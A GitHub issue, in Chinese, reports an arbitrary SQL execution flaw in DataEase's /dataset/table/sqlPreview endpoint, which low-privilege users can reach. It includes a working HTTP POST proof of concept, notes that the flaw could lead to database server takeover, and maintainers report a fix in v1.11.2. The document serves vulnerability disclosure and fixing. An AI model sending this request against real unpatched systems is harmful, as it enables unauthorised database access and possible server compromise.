Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Bug]任意SQL代码执行 #2430

Closed
Ryze-T opened this issue Jun 15, 2022 · 2 comments
Closed

[Bug]任意SQL代码执行 #2430

Ryze-T opened this issue Jun 15, 2022 · 2 comments
Assignees
Labels
状态:待反馈 类型:bug Something isn't working

Comments

@Ryze-T
Copy link

Ryze-T commented Jun 15, 2022

DataEase 版本
最新版

运行方式(安装包运行 or 源码运行 ?)
安装包运行

浏览器版本
任意

Bug 描述
任意SQL代码执行

Bug 重现步骤(有截图更好)
普通权限用户可调用 /dataset/table/sqlPreview 接口。
实现过程中主要需要两个参数:DataSourceId和 sql,dataSourceId可通过查看数据源获取。

POST /dataset/table/sqlPreview  HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authorization: xxx
LINK-PWD-TOKEN: null
Content-Length: 95
Connection: close

{"dataSourceId":"76026997-94f9-4a35-96ca-151084638969","info":"{\"sql\":\"select version()\"}"}

image

若数据源为sql server或postgresql等,可以通过数据库提权获取数据库服务器权限。

@Ryze-T Ryze-T added the 类型:bug Something isn't working label Jun 15, 2022
@maninhill maninhill changed the title [Bug] [Bug]任意SQL代码执行 Jun 15, 2022
@xuwei-fit2cloud
Copy link
Contributor

感谢反馈,我们尽快修复。

@maninhill
Copy link
Contributor

v1.11.2 已修复,详情请参考:https://github.com/dataease/dataease/releases/tag/v1.11.2

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
状态:待反馈 类型:bug Something isn't working
Projects
None yet
Development

No branches or pull requests

6 participants